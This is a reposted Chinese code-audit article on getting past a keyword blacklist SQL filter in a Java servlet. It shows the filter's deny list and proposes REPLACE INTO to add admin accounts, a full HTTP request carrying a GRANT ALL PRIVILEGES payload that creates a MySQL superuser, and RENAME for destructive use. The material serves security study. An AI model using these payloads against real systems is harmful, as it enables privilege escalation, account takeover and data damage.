白盒白名单SQL注入绕过利用_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

白盒白名单SQL注入绕过利用

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


白盒白名单SQL注入绕过利用

前 言 看到标题的第一反应,大家可能感觉本文讲的是一些老套数,比如select/*xasdasdsa*/等等垃圾字符绕过,在平时代码审计项目中,遇到了很多白名单过滤,现实情况就是,根本不允许使用特定语句和方法,比如一些存在注入的代码中,明明有注入但是碰到了白名单过滤。洞就送在眼前了,只需要变通一下,就可以成为一个新的洞了。 代码审计 这里根据以往审计过程,过滤的代码。自己重现了一下。 如下是Filter过滤,在本文中,我过滤掉了增删改查等关键字。因为在注入中多数都是靠这几个函数来玩。 public class SQLFilter implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {Filter.super.init(filterConfig);}@Overridepublic void destroy() {Filter.super.destroy();}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String sql = servletRequest.getParameter("sql");System.out.println(sql);if (StrUtil.containsAnyIgnoreCase(sql, new CharSequence[]{"INSERT ", "SELECT ", "UPDATE ", "DELETE ", "DROP ", "ALTER ", "TRUNCATE ","/**/"})) {System.out.println("拦截到恶意SQL"+sql);servletResponse.getWriter().write("Error:"+sql);return;} filterChain.doFilter(servletRequest,servletResponse); }} Controller层写的很简单,只是接收并直接执行SQL 针对Filter的分析,其实可以发现过滤了增删改查这些操作。 拦截情况 遇到这种情况,也就没有深究了,而是把思路转换到了其它函数上。可能和红队思路不同,红队希望能绕过利用,而白盒可能是为了造成危害即可水一个洞。 利用 3.1 replace into函数 这个函数类似于insert 可以添加数据,在白盒中,我们肯定提前是知道mysql库和表结构的,比如此注入在前台中,就可以使用replace into来对管理员表中添加一个新增账号,这样就可以登录后台进行更多获取权限的操作了。 这里直接可以使用replace为表添加数据 3.2 添加Mysql用户 这里直接可以添加一个用户,账号Met32 密码 password 但是好像有权限或者版本问题,并不是百试百灵。如果在数据库port可以外连的情况,可以试一下 POST /SqlExecute HTTP/1.1Host: 192.168.0.106:8987User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 97 sql=GRANT+ALL+PRIVILEGES+ON+*.*+TO+'Met32'@'localhost'+IDENTIFIED+BY+'password'WITH+GRANT+OPTION; 3.3 rename重命名 这就是纯纯搞破坏水洞了,黑盒不建议使用,本地白盒自己搭建的项目可以水一下 总体说也算个洞,就是水洞... 尾 述 多去查一些冷门的函数,在一些开发都不知道的函数中,很可能有利用的情况。 文章来源:freebuf 黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文 END

白盒白名单SQL注入绕过利用